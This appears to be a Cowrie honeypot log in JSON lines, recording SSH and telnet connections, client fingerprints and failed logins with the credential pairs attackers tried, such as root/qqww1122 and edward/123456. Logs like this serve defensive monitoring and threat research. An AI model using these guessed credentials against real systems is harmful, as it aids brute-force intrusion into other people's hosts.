{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:34.927458Z","src_ip":"45.156.87.254","session":"d3fe616c0b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:35.189801Z","src_ip":"45.156.87.254","session":"d3fe616c0b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:36.279190Z","src_ip":"45.156.87.254","session":"d3fe616c0b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56722,"dst_ip":"159.203.135.109","dst_port":22,"session":"cabcc4cb5fed","protocol":"ssh","message":"New connection: 45.156.87.254:56722 (159.203.135.109:22) [session: cabcc4cb5fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:39.643494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:39.649322Z","src_ip":"45.156.87.254","session":"cabcc4cb5fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:39.734644Z","src_ip":"45.156.87.254","session":"cabcc4cb5fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:40.112237Z","src_ip":"45.156.87.254","session":"cabcc4cb5fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:41.198150Z","src_ip":"45.156.87.254","session":"cabcc4cb5fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56724,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5c643de993","protocol":"ssh","message":"New connection: 45.156.87.254:56724 (159.203.135.109:22) [session: 4b5c643de993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:44.605607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:44.614239Z","src_ip":"45.156.87.254","session":"4b5c643de993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:44.701976Z","src_ip":"45.156.87.254","session":"4b5c643de993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:44.953366Z","src_ip":"45.156.87.254","session":"4b5c643de993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:46.051018Z","src_ip":"45.156.87.254","session":"4b5c643de993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":54016,"dst_ip":"10.17.0.5","dst_port":22,"session":"9afc7c3f4e7c","protocol":"ssh","message":"New connection: 46.24.47.94:54016 (10.17.0.5:22) [session: 9afc7c3f4e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:46.223269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:46.226858Z","src_ip":"46.24.47.94","session":"9afc7c3f4e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:46.332844Z","src_ip":"46.24.47.94","session":"9afc7c3f4e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqww1122","message":"login attempt [root/qqww1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:46.789133Z","src_ip":"46.24.47.94","session":"9afc7c3f4e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:47.898159Z","src_ip":"46.24.47.94","session":"9afc7c3f4e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55326,"dst_ip":"159.203.135.109","dst_port":22,"session":"c87b98be689b","protocol":"ssh","message":"New connection: 45.156.87.254:55326 (159.203.135.109:22) [session: c87b98be689b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:49.537597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:49.545926Z","src_ip":"45.156.87.254","session":"c87b98be689b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e860c194d65","protocol":"telnet","message":"New connection: 20.123.41.163:54244 (10.17.0.5:23) [session: 9e860c194d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:49.555230Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:49.628235Z","src_ip":"45.156.87.254","session":"c87b98be689b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:49.885390Z","src_ip":"45.156.87.254","session":"c87b98be689b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:50.971911Z","src_ip":"45.156.87.254","session":"c87b98be689b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46198,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4394f516ec","protocol":"telnet","message":"New connection: 104.245.105.2:46198 (10.17.0.5:23) [session: be4394f516ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:51.824911Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":45364,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27ed4bc11af","protocol":"ssh","message":"New connection: 45.144.233.139:45364 (10.17.0.5:22) [session: e27ed4bc11af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:51.850400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:51.854788Z","src_ip":"45.144.233.139","session":"e27ed4bc11af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:51.941293Z","src_ip":"45.144.233.139","session":"e27ed4bc11af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"github","message":"login attempt [root/github] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:52.322534Z","src_ip":"45.144.233.139","session":"e27ed4bc11af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:53.412575Z","src_ip":"45.144.233.139","session":"e27ed4bc11af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.744632720947266,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:54.780936Z","src_ip":"104.245.105.2","session":"90bbaaea0222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55328,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a83064b996","protocol":"ssh","message":"New connection: 45.156.87.254:55328 (159.203.135.109:22) [session: 60a83064b996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:54.855585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:54.861051Z","src_ip":"45.156.87.254","session":"60a83064b996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:54.944812Z","src_ip":"45.156.87.254","session":"60a83064b996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:55.192368Z","src_ip":"45.156.87.254","session":"60a83064b996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:56.277188Z","src_ip":"45.156.87.254","session":"60a83064b996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50568,"dst_ip":"10.17.0.5","dst_port":23,"session":"10e1e4e0cca2","protocol":"telnet","message":"New connection: 20.123.41.163:50568 (10.17.0.5:23) [session: 10e1e4e0cca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:59.457085Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47314,"dst_ip":"159.203.135.109","dst_port":22,"session":"19ed9b544b1f","protocol":"ssh","message":"New connection: 45.156.87.254:47314 (159.203.135.109:22) [session: 19ed9b544b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:59.475822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:59.480242Z","src_ip":"45.156.87.254","session":"19ed9b544b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:59.572820Z","src_ip":"45.156.87.254","session":"19ed9b544b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:59.825135Z","src_ip":"45.156.87.254","session":"19ed9b544b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:00.911020Z","src_ip":"45.156.87.254","session":"19ed9b544b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47326,"dst_ip":"159.203.135.109","dst_port":22,"session":"be28c08ad12d","protocol":"ssh","message":"New connection: 45.156.87.254:47326 (159.203.135.109:22) [session: be28c08ad12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:04.537754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:04.549529Z","src_ip":"45.156.87.254","session":"be28c08ad12d","protocol":"ssh"}
